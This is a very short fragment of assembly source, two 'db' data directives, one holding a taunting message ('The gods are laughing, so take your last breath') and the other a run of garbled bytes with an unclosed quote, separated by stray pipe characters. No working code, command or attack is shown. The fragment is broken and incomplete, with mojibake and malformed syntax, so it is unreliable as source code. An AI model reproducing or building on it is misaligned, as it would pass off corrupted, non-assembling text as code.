db 'The gods are laughing, so take your last breath '
|
||||
db 'é]`x |